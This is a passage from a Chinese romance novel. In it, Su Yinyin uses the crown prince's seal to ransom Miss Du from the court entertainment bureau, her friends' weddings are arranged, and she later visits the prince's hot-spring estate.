但这次回去,东宫倒不是重要的,她确实想知道杜小姐现在是什么情况。 李锐渊还道:“去看看吧,这事处理得快,年前就要有定论。” 郭展那边还插话:“茵茵姑娘,小的也让人去打听打听,在东宫什么事都方便。” 等苏茵茵回过神,自己已经坐到马车上。 还好出门之前还跟兰姐说了声:“我哥来的话,就说我跟原锐出门了,跟俊哥的事有关,很快就会回来。” 经过上次的事,苏茵茵跟安桂兰关系很好,她还因为自己受伤,两人明显亲近很多。 安桂兰点头道:“好,你真的要去吗?” 她虽然不了解情况,但总觉得那个少年看茵茵的眼神不对劲,很温柔,又很有占有欲? 不止如此,对方看向别人时,甚至是没什么表情的。 安桂兰善于察言观色,总觉得有些可怕。 “去吧,打听个事。”苏茵茵倒是没察觉那么多。 事实上,知道李锐渊的身份后,刚开始不适应,现在都快习惯了。 好像他跟之前一样,就是自己生活的一部分。 太子的马车进入皇宫,压根不需要检查,东宫更是如此。 两人直奔正殿而去,殿内伺候的众人看到殿下带了个女子回来,心里诧异,面上却如常。 等到没人的时候才道:“这就是苏姑娘吧?” “肯定是,郭总管吩咐过,一定要小心照顾,让她宾至如归。” 苏茵茵看着旁边的卷宗,并未去翻,而是看向李锐渊。 李锐渊却道:“你找找看。” 这不合适吧,苏茵茵表情流露出这个意思。 但李锐渊却装作看不懂,只道:“都在这了,你看看。” 直接翻别人的东西,对苏茵茵来说并不容易。 有一种侵入别人领地的感觉。 可来都来了,不看那为什么要来。 李锐渊拉着她坐下,看着她翻。 苏茵茵心一横。 怎么就不能学学孙东俊,他都好意思托人,自己作为一个帮忙的,也好意思。 下了决心,翻卷宗的速度跟着加快。 终于找到杜家。 跟猜测的差不多,流放八百里,最后的地方不算特别贫瘠,还能生活。 苏茵茵松口气:“杜姑娘应该没事。” 话音刚落,就见郭展急匆匆跑过来。 郭展先是行礼,然后道:“杜家奴仆已经送到教坊司了,家中几个庶子庶女也被送里面。” 苏茵茵震惊。 确定?! 郭展道:“流放沿途花销不少,应该是保全了最重要的人,其他人并不准备带着。” 所以把觉得会拖后腿的人,全都跟奴仆算在一起,去哪都行,不要拖他们的后腿。 杜姑娘今年十五,估计觉得她路上会拖累人,再加上内宅里的事,所以把她送到教坊司。 可一个十五岁的小姑娘,送到那种地方,以后的日子还不如跟着被流放。 “可以把她赎出来吧?”苏茵茵看向李锐渊。 李锐渊把私章给她:“当然可以。” 你给的是不是太快了。 苏茵茵想到上次帮玉凤姐姐的时候,他就是拿了私章写信。 现在不写信了,直接给她? 明知道李锐渊是故意的,可到了这会,又是最好的选择。 苏茵茵没有过多犹豫,把私章拿到手里,忽然觉得这章有些眼熟。 等她仔细去看才发现,自己有个一样的。 要说这么大小的印章多数大同小异。 唯独侧面的蝴蝶纹样不同。 而那个相同的印章,是李锐渊几年前送的,说是让她拿着玩。 两个章不同地方,便是下面名字不同。 其他的完全一致,材质,加上侧面的蝴蝶,一模一样。 现在那个被她塞到箱子里,好久没拿出来了。 李锐渊明显也知道,认真同她道:“还是要拿出来多用用,否则印章就不好用了。” 苏茵茵张张嘴,赶紧把章还回去:“让俊哥自己去赎人,不管了。” “俊哥?”李锐渊拉着她,“你喊什么?” “你的小弟是俊哥?我呢?”李锐渊问道。 苏茵茵很少喊他名字。 小时候还好,喊的都是原锐,渐渐长大,发觉原锐并非是他的真名,苏茵茵也懒得喊了。 到如今,更不好直呼其名。 苏茵茵故意道:“喊你什么?当然是太子殿下。” “民女拜见太子殿下。” 话是这么说,但苏茵茵只是手上做势。 李锐渊看的好笑:“孤想强抢民女。” 郭展偷偷退下,苏茵茵已经站起来了,根本懒得理他,那边却听他道:“带着印章去,可以省不少银子。” 想到孙东俊挨的打,还有最近花的银钱,苏茵茵老老实实拿走太子印章。 债多不怕愁。 反正也不会头一回了。 就算苏茵茵不想承认,也知道跟李锐渊的关系早就不分明了。 苏茵茵走到门口,想了想道:“那我以后喊你渊哥哥?” 话音落下,人早就不见了,只留下李锐渊红着耳朵整理卷宗,过了许久才偷偷松了口气。 苏茵茵是拿着太子印章,但也没有横冲直撞去找教坊司找人,还是先寻了哥哥跟黎兴。 黎兴那边已经接出雨情郡主,毕竟是皇亲国戚,皇后娘娘那边给了方便,并未被关起来,所以这会李雨情也跟着。 她衣着不如之前华丽,精神尚可,看来早就有准备,但她问了一个十分重要的问题,让赶来的孙东俊傻眼了。 “现在知道杜妹妹在教坊司,救她需要关系也需要银钱,不仅如此,还有一个关键的问题,以后呢?”李雨情道,“她家里显然容不下她,以后她怎么办。” 苏茵茵刚想回答,被李雨情眼神制止。 这个问题显然有自己的主人。 孙东俊张张嘴:“是啊,那怎么办,我给她租个宅子?” 那也不成的,他把家里能拿的钱都带身上了,这不是长久之计。 李雨情认真解释:“你若出钱赎她,那她的身契就在你手上了,到时候就是你家的奴仆。” “不不不,她不会是奴仆,我肯定给她自由身。”孙东俊连忙解释,“她可是我师父,我怎么可以真把她当奴仆。” 这个回答让李雨情松口气。 她身上的银钱也不多,若要赎走杜妹妹,确实需要大家凑钱,其中孙东俊是主力。 就怕孙东俊把人赎走,真的当奴仆,那样杜妹妹日子只会更加难过。 这么看来,眼前这人倒是一片赤诚。 “我写张借据,从头到尾的银钱算我借的。”李雨情确定道,“这事多谢你了。” 自从出事之后,以前对他们来说不值一提的银钱,变得无比重要。 也是通过这些事,认清谁是真朋友,真好人。 孙东俊却摇头道:“没事,我家的店挺赚钱的,不行的话再问我娘要。” 李雨情像是想到什么,又道:“过完年我跟黎兴就去任地了,到时候杜妹妹会跟我一起,所以银钱肯定会还的。” 任地? 一起? 孙东俊感觉自己思考不过来了。 苏茵茵见此,甚至拱火道:“那岂不是这辈子都见不到。” 这辈子见不到?! 苏显就觉得他们在欺负老实孩子,但这种时候,还是忍不住对孙东俊道:“回头杜小姐嫁人了,那全家都要来感谢你的。” 再傻的孩子此刻都反应过来,眼圈立刻红了:“不行,那我就跟着过去,我才不用别人谢。” 到了教坊司,孙东俊已经把身上所有银票全都掏出来,看到杜小姐的第一眼,半个字都说不出来,最后才道:“杜师父,我,我能不能娶你啊。” 杜小姐知道他傻,看了看银票,又看了看他:“你要把我买走?如果你不嫁你,你就不赎我?” “不不不,就是想娶你,我不是用这些威胁你。” “不管你嫁不嫁,我都把钱给你。”孙东俊说着说着又哭了,感觉把自己这辈子的眼泪都流的差不多。 他们这边说的甜甜蜜蜜,苏茵茵带着哥哥默默去找了此地的管事,把盖有太子印章的文书拿出来。 文书上,字是苏茵茵的,章是李锐渊的。 管事立刻按照吩咐办事,顺利把人放出来,象征性收了些银钱。 孙东俊拿着剩下的银子,立刻对苏茵茵鞠一躬:“多谢小红娘!” 苏茵茵被吓的一愣。 不过这事确实要谢她,省了好多钱! 只有李雨情跟黎兴看了眼苏家兄妹。 两人熟知赎人的流程,那会有这么简单,这么便宜? 他们做了什么? 苏茵茵摸了摸那块印章。 大家很快就会知道的。 按照李锐渊一步步的计划,知道他跟自己认识的人只会越来越多。 到时候绝对不是秘密。 再藏着掖着也没有意思。 真的不能逃避了。 有时候确实要学学孙东俊才是。 她感觉自己在一个壳子里,浑然不觉中,被人撬开出缝隙。 也许外面的世界,没有那么危险吧? 她有爹娘哥哥,也可以有更好的生活。 她值得,很值得。 那边孙东俊还在欢呼,偷偷拉着杜小姐的手,认真道:“我会保护你的,肯定会。” 第63章 救出杜小姐没几日,孙家便过来预订喜饼,看来她家已经同意这门婚事。 孙东俊他娘本来不想惹这种麻烦事,可一来看儿子极为喜欢,二是那杜小姐着实不错。 用她儿子的话说,若不是杜家遭难,他怎么可能娶得了杜小姐,不管学问人品见识,人家都远超自己云云。 总之几天下来,孙母终于松口,说去见见杜小姐。 没见之前,孙母确实不大高兴,儿子又是拿家里压箱底的银票去救人,又是呼朋唤友的。 家里知道后,他竟然还让自己去账上支钱。 总觉得是个麻烦。 现在杜小姐住在好友郡主家中,那郡主如今也是租的院子,两人同住一处。 怎么想都觉得不靠谱。 不过在酒楼见了之后,孙母看到人家通身的气派,才知道确实是自己儿子高攀。 “说话做事,无一不好的,怪不得是大户人家出身,读书算数都会的。” “以前虽然没管过家,但读书识字学过算数,那就好上手,而且人也聪明。”孙母再满意不过,“人也是个有主意的,就是胆子小了些,不过这都不是事。” 孙家跟苏家多年邻居,难免多说些:“俊哥反正考不上功名,不如早点成亲,让他跟媳妇接手家里的店,现在店面多了,他们两个都要学着管。” 苏茵茵偷偷听着,心里松口气,成了就好。 孙东俊当初救人,也不是为这事,但他一片赤子真诚,确实值得一个好结果。 此刻的杜家,人员已经“精简”的差不多了。 留下都是最要紧的自己人。 拖累基本都被抛下,剩下的银钱,应该足够他们到地方。 杜老爷看着自己的子女们,后知后觉道:“老七呢?” 杜夫人没想到他还能记得,含糊半晌:“她体力弱,带过去是个拖累。” 话是这么说,但比老七还小的老八老九还在身边。 杜老爷大概明白怎么回事,看来还在记恨自己宠爱老七她娘,都什么老黄历的事了。 不过他也没不怎么在意,反正儿女众多,去哪都不太在意。 他们剩下的人是要在另一个地方,重建杜家的,别的人都不重要。 还有半个月,他们就要启程。 所有人换上从未穿过的粗布麻衣,脸上难看的要命。 流放八百里,半条命就要没了。 其中也有人互相安慰:“比去教坊司好。” “是啊,比去那里好。” 可杜老爷好像在人群里看到老七了。 “那是老七吗?”老八喊道。 杜家人瞬间看过去。 是老七! 她怎么还跟之前差不多?没有去教坊司吗?! 她身边还站着郡主,黎状元等人。 老七不仅有自由,还没有去教坊司,她目光平静,看到家人的时候一如往常。 准确说,以后这些就不是她的家人了。 杜小姐他们只是顺便来看个热闹,目的地是宁郡王家的别院。 郡主家的马场被查封,只好去其他地方。 当时孙东俊立刻看向苏茵茵,去之前的啊。 李雨情跟杜小姐都好奇,他们骑术都很好,在哪练的? 得知是宁郡王的园子之后,大家更奇怪了。 难不成是因为苏指挥使? 但宁郡王手底下的指挥使也有七八个,不可能人人都能借到吧。 孙东俊嘿嘿一笑:“老大的朋友借的,叫原锐。” 原锐。 其他人都没听过这个名字。 就算是黎状元都不知道哪个原家跟宁郡王这样熟悉。 只有李雨情思索片刻,不敢置信地瞪大眼睛。 原锐。 李锐渊?! 知道太子真名的人并不多,但不包括皇亲国戚啊。 李雨情指了指苏茵茵,可又不敢说出来。 苏茵茵只好点头:“是他,回头再说吧。” 她就知道,这些事根本瞒不住的。 李雨情又悄悄过来:“那赎人也是他帮忙的?” “是,不然还需要大把银钱跟手续。”苏茵茵小声道。 李雨情也觉得那天事情过于顺利,想过是苏家兄妹想了法子,却没想到直接联系了太子。 她跟太子交流不多,顶多是跟黎兴那事,太子才多跟她聊几句。 “那就厚着脸皮,死缠烂打。” 李雨情脑子里突然出现这句话。 当初太子就是跟她这么说的! 原来他说这话是有原因的。 原因就在眼前。 李雨情欲言又止,小声道:“那你小心点。” 苏茵茵显然明白她在说什么,可她却忍不住道:“也不用那么小心,他人很好的。” 人很好。 这句话要是放在现在的朝堂来说,满朝文武心里都会充满疑惑。 确定说的是太子? 朝中近来诸多变化,都有太子的参与。 反对的要么流放要么贬官,明显从里到外都要清查一遍。 这中间有多少阻力,随便想想就知道。 能做成此事的人,人很好? 谁信啊。 不过李雨情显然没问太多,茵茵非常聪明,她肯定知道什么好什么不好。 再说了,太子都能说出死缠烂打这句话,明显知道两人关系如何。 她有点好奇,要是京城其他人家,知道太子喜欢的谁,那会有什么反应。 天知道想当太子妃,太子妾室的人有多少。 李雨情也没隐藏这点,认真跟她道:“皇上皇后只有这一个孩子,早早立为太子,那个位置想坐的人太多了。” 苏茵茵何尝不知,她也抗拒过。 但最近这段时间,也算看清自己。 无论如何,都要试试? 不行再说。 李雨情啧啧几声,笑着道:“不提了,月底我跟黎兴的婚事,你可一定要来。” 不仅是她的婚事,趁着她还在京城,还有杜小姐跟孙东俊的。 好事都是连着来的。 相信很快大家都会开启新生活。 其实不仅是他们。 苏茵茵觉得,最近她哥也怪怪的。 除了每日去书院之外,来她店里的时间也越来越长。 店内好几个未婚女子,难免多看他几眼。 就连晚上吃过饭后,他还要出门片刻。 都不知道去做什么。 苏茵茵再次看到哥哥来帮她关店门,终于把疑惑说出来:“哥你最近很闲吗?” 苏显看了眼自己妹妹,又看了眼安桂兰,开口道:“还好。” 见哥哥不愿意说,苏茵茵也不准备不提,但回家再说呗,转而对兰娘道:“桂兰姐,今日家里炖羊肉,娘亲说你手臂伤好的差不多了,可以吃一些,跟我回家吧。” 上次有人闹事,要不是安桂兰,苏茵茵肯定会受伤,冲着这份恩情,全家人都对她十分感激。 反而安桂兰觉得没什么,她只是报答东家的恩情,再说了苏家给钱给药,对她极好的。 苏显也道:“来吧,我娘做的羊肉特别好,还有我妹妹做汤面的方子,谁吃了都说好。” 苏茵茵做吃食一绝,这是大家都知道的。 安桂兰颇有些好奇,跟着兄妹两个回去。 但苏茵茵怎么想这句话都觉得不对劲。 哥哥会对兰娘很好,可绝对不会说这样的话。 所以一回家,就紧紧盯着哥哥看。 苏显朝她点头:“是你想的。” 什么时候的事! 她怎么不知道?! 这会反而是苏娘子走过来,笑着道:“上个月啊。” 娘也知道? 苏茵茵发现了,对于这种事,全家她最迟钝。 不对,还好有爹爹垫底。 苏娘子在厨房做事,悄声跟女儿说了最近发生了什么。 安桂兰救了茵茵,全家都感谢,但兰娘既不邀功也不觉得这有什么。 不管是苏娘子带她去包扎,还是苏显带她去,绝对不吭一声。 也是那会苏显跟兰娘熟悉起来,苏显还有些愧疚,当时看到她受伤,却先去店内找妹妹。 兰娘当时诧异又羡慕。 她家兄弟姊妹六个,却从未有过这种深厚的手足之情。 苏显还惊叹于她的勇敢。 那可是刀,兰娘却一点也不怕。 只因为他家预支了工钱,帮她找了住的地方。 对比起来,反而是一向与人宽厚的苏家不如她。 等兰娘的伤好得差不多,苏显越觉得她跟苏家人很像,也越来越佩服她。 那会苏茵茵他们在忙孙东俊的事,所以没注意到哥哥两头都在忙。 等她回过神发现,自己好像要有嫂子了? 还是借着替她感谢的名义有的。 第二天到店里,安桂兰刚开始还好,过了会脸色有些差,苏茵茵一眼就看到了,下意识道:“兰姐你怎么了?” 安桂兰看向东家,又往外看了看,开口道:“我刚刚去前面送点心,好像看到我娘了。” 兰娘的母亲? 苏茵茵知道她家的事。 五女一男,最小的弟弟前两年还病逝了。 她家还把这事怪在兰娘头上,说是她没有及时给药钱,这才让弟弟没了。 从那还好,她家再也不让她回去。 这些就罢了,反正是过去的事。 可她娘为什么来自己店里? 她家点心不算便宜的。 难道是来找兰娘的? 安桂兰明显也是这么觉得,她咬咬牙:“她肯定听说我在这做工,所以找来的。” 以前不找,是因为魏家不给工钱。 现在苏家不仅给钱,还因为她会白案,给的银钱还多了些。 肯定是听说这件事。 苏茵茵却摇头:“不止这个,外面的人并不知道咱们有多少月钱,最近唯一不同的,应该是你受伤了。” 还是为东家受的伤。 在她家人听来,肯定会有笔赔偿。 安桂兰脸色一白。 是这样。 肯定是的。 她家来回两百里地。 没有十足的把握,家里不会过来。 算着时间,就是她受伤之后的事。 果然,安桂兰她娘排到柜台前,并不买东西,而是道:“姑娘,你们这是不是有个叫安桂兰的学徒?” 外面的员工下意识看向后厨,答道:“你找她做什么?” “我是她娘。”安母连忙道,“快让她来见我。” 苏茵茵让兰娘冷静:“别出来,我去看看。” 眼看不少客人都在看,苏茵茵道:“我是这的东家,兰娘正在做工,不方便出来,你过来说话吧。” 不管怎么样,先离顾客远一些,对谁都好。 “我是她娘,有什么不方便的。”安母立刻道。 话是这样说,安母却跟着苏茵茵去了后面屋子里,这里随意放了些杂物,正好用来谈话。 到了屋内,安母又问:“桂兰呢?” 安母说话有气无力,面容极老。 她生了许多孩子,这会又长途跋涉过来,看着就比其他人虚弱。 苏茵茵皱眉:“她在做工,做工期间不能见其他人。” 如果是正常人,肯定说一句这也太苛刻了。 可对方却连连点头,觉得没问题。 看来把女儿送到魏家做学徒的,必然知道魏家的情况。 而且还是个畏威不畏德的。 得出准确结论后,苏茵茵道:“你找她有什么事吗?” 说到这,安母像是想到什么,面对年轻小姑娘直接拍桌子:“听说她之前为了救你受伤了,你们家准备怎么赔偿?你爹娘呢?!让他们出来!” 门后的安桂兰脸色苍白。 真的是为这事过来。 来到店里的苏显问道:“兰娘,怎么了?” 安桂兰赶紧摇头,随后想到什么,面上浮现苦笑:“是我家里的麻烦。” 安桂兰总觉得,这段时间是她过得最好的日子。 在苏家点心做工,身边人都很和善,东家一家都很好。 有住的地方,有工钱,还经常被请到家里吃饭。 东家哥哥更是好人。 她或许就是好日子过多了,才会给她当头一棒,告诉她没有那么好的事。 安桂兰根本不敢想,如果她娘知道她能挣钱,又会是什么样子。 这让她甚至有些怕。 最近所有的好心情,都随着母亲的到来烟消云散。 苏显见她情绪极为低落,走近道:“遇到什么麻烦事了吗?” 背后的门突然被打开,安母近乎狂喜地看着他们两人,刚想指责,就听屋里的小姑娘道:“还想要赔偿?难道你不知道在我这学手艺的费用?” 苏茵茵直接道:“没让你们家交学费就是好的。” “哥,你来看看账目对不对。” 安母瞪着她道:“什么学费?!魏家都没那么黑心。” 说着,安母还咳了几声,颇有些无力,但眼神却冒着精光。 “你这人,跟我女儿站那么近做什么?!你不会想当我女婿吧?!”安母狂喜就为这个。 她看着男子衣着还不错,一定能弄点银子。 安桂兰听到这话,整个人都要疯了。 她在外面尽力维持的体面几乎被撕了个粉碎。 还是在东家跟东家哥哥面前,把她最不堪的一面展现出来。 店里其他人听到动静,下意识过来看看情况,更是加剧了她的难堪。 苏家兄妹对视一眼,显然从眼神中看出彼此的意思。 苏显没理会安母,却对安桂兰道:“进里面说话。” 再次关上房门,里面是四个人。 安母看着安桂兰,满脸说不清的表情:“好啊,你在这吃香喝辣的,怎么不知道给家里寄点银子?” “你堂弟想娶媳妇,正需要银子啊。” 堂弟娶媳妇,关他家什么事。 苏茵茵随即反应过来。 她家儿子死了,所以抱了个同姓的孩子过去养? 她这个样子不好好养病,怎么还养别人的儿子。 安桂兰深吸口气:“娘,当初是你们说不让我回家的。” 那是你没钱的时候。 你现在不是能赚钱了。 家里的吃喝,还有她也要吃药,这些年她身子越来越差,什么药都吃不起。 安桂兰还道:“你们是在祖宗祠堂放过话的,说是我害死弟弟,所以我跟安家没有关系,难道不是吗。” 没等她们再争论,苏茵茵直接把茶杯拍在桌子上,开口道:“你是想把女儿带回去吗,那先把学费付了。” “还有当初在魏家借的银钱,都有数目,全都还上来再说。” 安桂兰一愣。 但听到魏家借的银子时候,大概明白怎么回事。 苏显也开口了:“还有利息,怎么长时间不还钱,难道不需要利息?” 苏家兄妹俩一唱一和,直接把算盘拨出天价。 为了显得逼真,苏茵茵还从货单里抽出一张,料定对方不认字:“看见没,你女儿的名字,这就是借据。” “你以为魏家当年的钱还完了吗?先把银子还了再说。” 安母愣住,不是都说苏家点心比魏家要好上许多吗。 难道这只是面甜心苦。 她就说,这个死丫头运气怎么可能那么好,还赚钱呢,不赔钱就行了。 死丫头果然是赔钱货。 沾上她就晦气。 可恨她跑了这么远,就是想弄点银子,现在也泡汤了。 果然所有东家都是黑心肠的。 这位的表情根本瞒不住其他人,安桂兰有心辩解,却硬生生止住。 听着母亲粗重的喘息声,就知道她是真的被气到。 当年全家说是她害死弟弟的时候,她娘就是这样。 听说去年她娘又怀了一个,但没几个月孩子就掉了,当时她还想回去看看,但在魏家根本出不去。 安母又急又气,但料定苏家点心黑心,又不敢真的撒泼。 在老家那些店里撒泼,都会被打出去的。 当年的魏家也是这样。 苏家兄妹再次出声,让她不敢再胡言乱语。 安桂兰就在两人背后站着,竟然发觉心里渐渐安定下来。 好像只要在这,她的日子就会变的平和。 安母被连吓带哄弄出店门,生出的最后一点胆子也没了。 安桂兰看着她的背影,开口道:“不会那么简单的,她肯定还要找我。” 当初给弟弟看病的时候就是这样。 在魏家点心大闹一场,然后让她给钱。 魏家家丁可不惯着,差点上拳头。 想到这,安桂兰看向东家:“东家,你是故意吓她?” “嗯。”苏茵茵心道,那魏家还是有一点点用的,“最近几天要不然住店里吧,不要出去了,我怕她在路上拦你。” “而且她这么远过来,肯定有原因,你有没有同乡,是不是他们说的。” 安桂兰细细思索,确实有同乡在京城,应该就是他们通风报信。 苏显点头:“我去解决。” 说着,苏茵茵把这间屋子收拾出来一块地,就让兰姐暂时住下,等麻烦解决了再说。 眼看东家们因为她的事忙,安桂兰坐立难安,干活都有些魂不守舍。 等苏显打听消息出来。 才知道这安家到底所为何事。 原来在宗族过继孩子,不仅需要把那男丁养大,还要再给那家银子。 现在孩子是抱到她家了,可剩下的银钱还没给完,必须补足剩下的。 这不是冤大头吗。 给别人养孩子,还要给人家钱。 但他家就愿意这么做。 安母从大女儿夫家一直到跑到现在五女儿安桂兰这里,冲着有枣没枣打三竿,能弄一点钱是一点。 这种情况,不理她是最好的选择。 因为她还会回去照顾自己便宜儿子,不可能停留太久。 苏茵茵都听傻了。 她知道兰娘家里重男轻女,却不知道到这种地步。 而且看她母亲的样子,总觉得已经快癫狂了,实在是让人心疼兰娘之前的日子。 之前安桂兰脸上还有笑脸,如今什么都没有了,她好像又回到最初的样子,不跟任何人走得近,生怕给其他人带来麻烦。 一直到安母离开京城,她还没缓过神。 其实大家都看得出来,以安母的身体,估计也没几年活头,以后的麻烦事不会太多。 可安桂兰情绪明显低落。 特别是面对苏显,以及苏家人时。 以苏家人的聪明,怎么会察觉不出来。 可这种事,似乎只有苏显去说有用。 安桂兰看着眼前的东家哥哥,怎么会不喜欢。 他人好,心善,对人有礼,店铺周围未婚小姑娘都喜欢的。 自己之前不过跟他走的近了些,就差点带来大麻烦。 要不是东家他们一下子找到问题的关键,估计这会已经被缠上了。 苏家什么都好。 以后东家哥哥的前途也好。 自己这种人,真的不应该跟他们走太近。 或许真的如爹娘所说,谁跟她走得近,谁就会倒霉。 这么清清白白,一家和气的人户,跟她这种乱七八糟的家,不应该扯上一丝关系。 苏显看着她,慢慢开口道:“我有没有说过,我家有个大伯。” 安桂兰抬头,就听苏显继续道:“小时候他家欺负我爹不在,就欺负我娘。” 说到小时候的事,苏显说话慢下来,像是在回忆之前,也像是在审视那时候的自己。 他总觉得那时候太弱小了,需要改变,需要跨过这些麻烦。 安桂兰没想到,苏家也有这样日子难过的时候,也会陷入这种家长里短之中。 苏家不是没有那些乱七八糟的事,而是他家人相信,靠着自己努力,一定会有所改变的。 事实有也确实如他们所想,日子在一点点变化。 苏显道:“其他事上你都很厉害,为什么要回避你喜欢的生活呢。” 这句话如当头棒喝。 她喜欢在店里的生活吗,当然喜欢。 但遇到挫折,便想立刻逃离。 越喜欢越珍重,越珍重越要逃。 不应该这样的。 可是往前走好难。 苏茵茵对李锐渊道:“那我往前走了,你要是接不住怎么办。” 李锐渊跨过窗台,终于又在晚上进到茵茵的房间:“我不仅能接住,还能抱住。” 苏茵茵下意识后退。 这句话说出来,好像已经被抱住一样。 这人怎么这样啊。 “下个月我生辰,要不要去温泉山庄。”李锐渊又补了句,“甜菜培育的差不多了,明年就可以种植,你要不要去看看。” 上次去温泉山庄都是小时候了。 她一定要给去原锐过生辰。 现在再去,好像有点别扭。 但苏茵茵并未纠结太多:“好,生辰当日,我给你做生日宴。” 都要往前走了,还怕什么。 李锐渊眼底都带了笑意,笑在他脸上好像不值钱一样了:“很期待。” 他期待这一天已经太久了。 第64章 李锐渊的生辰。 苏茵茵翻来覆去想生辰宴做什么吃食。 想着想着,把之前的箱子找出来,终于在角落里看到那枚印章。 果然,跟李锐渊手里的一样。 一直到黎兴跟李雨情的婚宴结束,终于拟出一张单子。 上面都是她跟李锐渊爱吃的东西。 苏茵茵还把那枚印章拿出来,在单子上轻轻盖戳。 怪不得都喜欢用印章,确实很方便。 苏茵茵只觉得手里的印章怎么看都可爱。 忍不住拿到手中细细把玩。 越看越发现其中的细节。 这印章不仅侧边有蝴蝶的纹样,就连底部的边缘,也有蝴蝶翅膀。 李锐渊那么喜欢蝴蝶? 他是喜欢送自己蝴蝶模样的东西,但也没想到这么喜欢啊。 黎兴李雨情婚事办完,转眼便要操办杜小姐跟孙东俊的婚事。 他们两个要作为杜小姐的娘家人操办婚事。 不过他们到底年纪不大,苏娘子便主动过去帮忙。 喜事一件接着一件,苏显跟兰娘的婚事估计也快了。 也有人问,说兰娘家里麻烦,何必一定要是她。 苏家人却道:“她一个小姑娘能闯出来很不容易,自家也不是什么厉害的门户,只要孩子喜欢就好。” 苏显不爱说话,看人却准,他认定的人不会有错。 消息传出去,其他人倒没什么,反而即将出嫁的孟小姐不敢置信。 现在的孟家日子不好过,家里店铺一间间的倒,不少交好的亲朋好友都在远离。 诬告的名头本就难听,而且还被揭发出来。 西城衙门张主簿日日去找他们麻烦,名声都臭了。 这些已经让他们麻烦缠身,想着破财免灾算了,谁料财是破了,灾却不能免。 今年吏部的考核,孟家两位官员大概率都只能得下等。 他们还想找在东宫做事的同乡求情,再给一个去查银矿的机会也行。 但东宫的人更是躲得远远的,生怕跟孟家掺和。 连带着孟小姐未婚夫家里也有些嘀咕,不过到底没撕破脸,婚事照旧。 这也是他家里最大的喜事了。 当官得下等。 家里店铺频频倒闭。 衙门的官司还缠身。 不少人都说,你家今年是不是走霉运。 可他家很明白原因。 在孟家两兄弟看到太子殿下在苏家的时候,就知道自己惹错人了。 孟老爷甚至大骂孟家老大,别的不说,如果促成孟小姐跟苏显的婚事,那他家肯定会平安无事。 明明简单的一件事,干嘛要结仇啊。 就算婚事不成。 孟三跟苏显处好关系,再讨好苏茵茵,岂不是更好。 可惜在他们傲慢的态度下,慢慢走向最坏的结局。 这次的事情并非偶然,就这种习惯辱下的行为,总会踢到铁板。 不过这次不巧,踢到了如今最不该踢的。 孟家知道,苏家必然飞黄腾达,此时却听说,他家长子苏显竟然要娶一个做点心的女子。 那女子出身农户,一家子都是穷苦人,虽说宗族里面出过几个官员,但那也跟女子的爹娘八竿子打不着。 苏显竟然看上她? 看样子亲事也近了。 孟小姐显然是最崩溃的。 她看上的人不仅学问好,人品好,家里还认识贵人。 家里如果不阻拦,说不定真能成事。 这已经让她心里懊恼。 现在告诉她,人家要娶的人,远远不如自己,这种心情更难以明说。 而且她再也不能欺骗自己,说婚事不成是家里不允。 看着苏显的态度,摆明了只要他喜欢,谁都能成的。 可自己就是不得喜欢。 再打听那女子的情况。 十五岁送出来做学徒,学了好几年还没出师,魏家倒了之后,自己找活干,找到了苏家。 人是坚韧的,听说知恩图报,还为苏家妹妹拦着凶徒,甚至能帮忙周旋。 那凶徒甚至是自己派过去的。 还说她家凑成这件好事。 可她再痛苦也没有用,一切都跟她没有关系了。 这消息难免让她未来夫家知道,估计又是麻烦。 这些八卦传来出去,难免有人好奇苏家真的有那样厉害? 孟家落败,都跟她家有关,是不是太夸张了。 就连官宦人家之中,也提起此事。 世上没有不透风的墙。 得知苏家真正大腿的人渐渐多起来。 还在温泉山庄帮忙种甜菜的金彦磊暂时还不知道。 但他隐隐明白苏茵茵跟太子之间关系不一般。 即便如此,在山庄看到苏茵茵的时候,还是吃了一惊。 “你你你,你怎么来了!”金彦磊大喊道。 “我怎么不能来。”苏茵茵故意道。 苏显同样从马车上下来,全程脸都是黑的。 一想到太子又把妹妹哄到行宫,肯定不高兴。 金彦磊终于可以问出那个问题:“你们跟太子到底什么关系啊?不会是亲戚吧?咱们也是亲戚?” 太子十月中旬便到了行宫,听说苏茵茵他们到了,放下公务过来接人,便听到金彦磊的话。 李锐渊直接道:“青梅竹马。” 谁? 谁跟谁?! 金彦磊表情狰狞。 这里面到底有什么他不知道的事啊。 事到如今,此事已经不算什么秘密。 在行宫伺候时间长的人,甚至还记的苏茵茵,她过来之后,太子殿下就像换了个人一样。 在此之前太子每年都要在温泉行宫住小半年,虽然皇上皇后娘娘经常会过来,但看着小小的孩子形单影只,总觉得心疼。 大家都以为,以太子的情况,说不定以后都会这样。 甚至有人猜测,如果太子一辈子如此,只怕还要另立太子。 不管是他的身体情况,还是心里原因,都不是继承人最好的选择。 要不是皇上皇后顶住压力,早就有人提起。 可也就是那一年,苏茵茵出现在行宫当中,把太子殿下带出去了。 再之后,太子很少过来,偶尔来一次,也能看出来身体更加康健。 外面人只当太子慢慢调养回来。 皇上皇后,还有行宫的人却知道其中的原因是什么。 所以金彦磊发现,此地宫人对苏茵茵非常好,明显跟太子平级。 为什么啊! 谁能帮他解答这个问题。 金彦磊左看右看,仰天长叹:“京城的秘密可真多!” 不过他反应过来,之前说太子每隔几日就会出宫,原来是去找苏茵茵了? 苏茵茵干脆简单解释,他们因为点心结缘,之后就熟悉了。 “每隔几日就见面,分享点心,还要给对方过生辰,十几年都是这么过的?!”金彦磊瞬间明白此地宫人们的表情,更加诧异,“你还来过这?” 李锐渊没说话,只等苏茵茵讲。 金彦磊听到大概的时间,立刻道:“太子表哥,你就是从那年开始,不怕冷的?!” 不对,不是不怕冷。 是忍着冷也要走出来。 因为他有必须要走出来的理由。 他的青梅来接她了,所以必须出来。 苏茵茵微微张嘴。 她知道李锐渊之前的经历,知道他怕冷的原因,更知道他从那之后很少过来。 但最近发生的事情太多,让她甚至没有时间好好思考。 金彦磊这么一讲,她都有些傻眼。 那天晚上李锐渊说她是安稳。 原来还有这层意思吗。 苏显脸更黑了,如果不是从小学忠君报国,他这会真想拉着妹妹直接离开啊。 当然,也因为李锐渊对妹妹的心他看得出来。 若不是这样,家人接受的不会那么快。 特别是他爹。 听母亲说了原锐的身份后,好几晚都没睡着。 就怕身居高位的太子做什么不好的事。 等冷静下来,意识到不会发生这种事。 他们不了解太子,难道也不了解原锐吗。 当年觉得这孩子瘦瘦小小的,却是个极好的小孩。 妹妹冷静下来之后,明显也是这么想的。 未来如何他们家不知道。 但还是那句话,他们开心快乐就行。 见识过那么多小情侣分分合合,他们家对此也没什么太多想法。 